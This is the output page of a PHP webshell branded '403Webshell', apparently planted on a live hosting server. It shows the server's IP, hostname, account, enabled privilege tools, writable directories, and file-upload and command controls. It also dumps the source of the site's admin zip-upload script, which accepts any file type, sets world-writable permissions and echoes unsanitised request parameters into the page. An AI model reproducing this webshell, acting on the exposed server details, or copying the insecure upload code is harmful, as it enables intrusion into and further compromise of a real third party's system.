403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/admin/zip_popupload.php
<?php 
 	include_once("../_config.php");
require("../fnk/function_unzip.php");
require("../fnk/fnc.php"); 


?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Upload your Zipped content - <?php echo SITE_NAME ?></title>

</head>
<body bgcolor="#ffffff" text="#000000">

<?php 
 $asset_id = $_GET["asset_id"];
$media = $_GET["media"];

if(isset($_GET["act"]))
	{$act = $_GET["act"];}
else{$act = '';}

if(isset($_GET["t"])) // h = hosted
	{$type = $_GET["t"];}
else{$type = 'tour';}



if($act == "sent")
{

				//For troubleshooting, show the variables - 
/*					echo $_FILES['userfile']['name'];
					echo '<br>';
					echo $_FILES['userfile']['type'];
					echo '<br>';
					echo $_FILES['userfile']['error'];
					echo '<br>----------------------------- <br>';*/
				
			
				//The below function was added so that uploads will work in any browser
				function  image_valid($type)
				{
					$file_types  = array(   
					'multipart/x-zip'     => 'zip', 
					'multipart/x-gzip'     => 'zip',
					'application/zip' => 'zip',
					'application/x-zip-compressed' => 'zip' );
					if(!array_key_exists($type, $file_types))
					{        return "FALSE";    }
					else    
					{        return "TRUE";    }
				}
			//The below function was modified so that the function would allow any browser.
			if(image_valid($_FILES['userfile']['type']) === "FALSE")
			{
				echo("\n<center>Only Zip Archives are allowed! this is only a warning, you are continuing</center>\n");
			}


	if (is_dir(GALLERY_ROOT."/".$asset_id."/")) 
		{	
			recursive_remove_directory(GALLERY_ROOT."/".$asset_id."/")or die("could not REMOVE the dir recursively");
		}
	else
		{}
	mkdir_recursive(GALLERY_ROOT."/".$asset_id."/", 0777)or die("could not make ".GALLERY_ROOT."/".$asset_id."/"." recursively");
	
	
	$uploaddir = ROOT."/images/assets/$media/$asset_id/";
		if (is_dir($uploaddir)) 
			{	// recursive_remove_directory($uploaddir)or die("could not REMOVE the dir recursively");	
			}
		else{	mkdir_recursive($uploaddir, 0777)or die("could not make $uploaddir recursively");		}
		 

					
	$uploaddir = GALLERY_ROOT."/".$asset_id."/";
	$uploadfile = $uploaddir . $_FILES['userfile']['name'];
	
	
	chmod($uploaddir, 0777);
		
	if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) 
		{ echo "<br />File Uploaded<br />";  } 
	else {   echo "Possible file upload attack!\n"; } 


unzipFile($uploadfile, $uploaddir);

if($media =='P')
{
	$dir = $uploaddir;
	$fileType = "jpg";
	$dirFiles = array();
	
	if ($handle = opendir($uploaddir)) 
		{
    		while (false !== ($file = readdir($handle)) ) 
				{

					$extension = substr(strrchr($file,"."),1);// get the extension
					if(strcasecmp($fileType,$extension) == 0)// proceed only if it matches with the extension we have provided
						{
							if ($file != "." && $file != ".." && $file != "hogal" && $file != "featured.jpg") 
								{
                					$dirFiles[] = $file;
        						}
    					}
				}
    closedir($handle);
}

sort($dirFiles, SORT_REGULAR);
$i='1';
foreach($dirFiles as $file)
{
    $success = rename($dir."/".$file, $dir."/".leading_zeros($i).".jpg"); // rename the file

//	echo "<br />$file\n";
	$i++;
}

	
}

//unlink($uploadfile);
?>

<p align="center">Click <a href="resize.php?media=<?php echo $media ?>&id=<?php echo $asset_id ?>&dir=<?php echo GALLERY_ROOT."/".$asset_id."/" ?>">HERE</a> to resize</p>


<?php
}
/*	$query = "update tour ";
	$query .= "set  version ='2'  ";
	$query .= " where asset_id = '".$asset_id."' ";
	$result = mysql_query($query) or die("ERROR: <br>$query<br /> <strong>" . mysql_error()."</strong>");*/
?>

<table  align="center" height="250">
<tr valign="top">
<th>Select the zip file for <?php echo $asset_id; ?>
</th>
</tr>
<tr valign="top">
<th>
</th>
</tr>
<tr valign="top">
<th valign="top">
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" action="zip_popupload.php?asset_id=<?php echo $asset_id; ?>&media=<?php echo $media; ?>&act=sent&t=<?php echo $type; ?>" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="900000000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
</th>
</tr>
</table>

<div align="center" class="style2" style="border-top:none">

<a href="javascript:window.close()">Close Me</a></div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit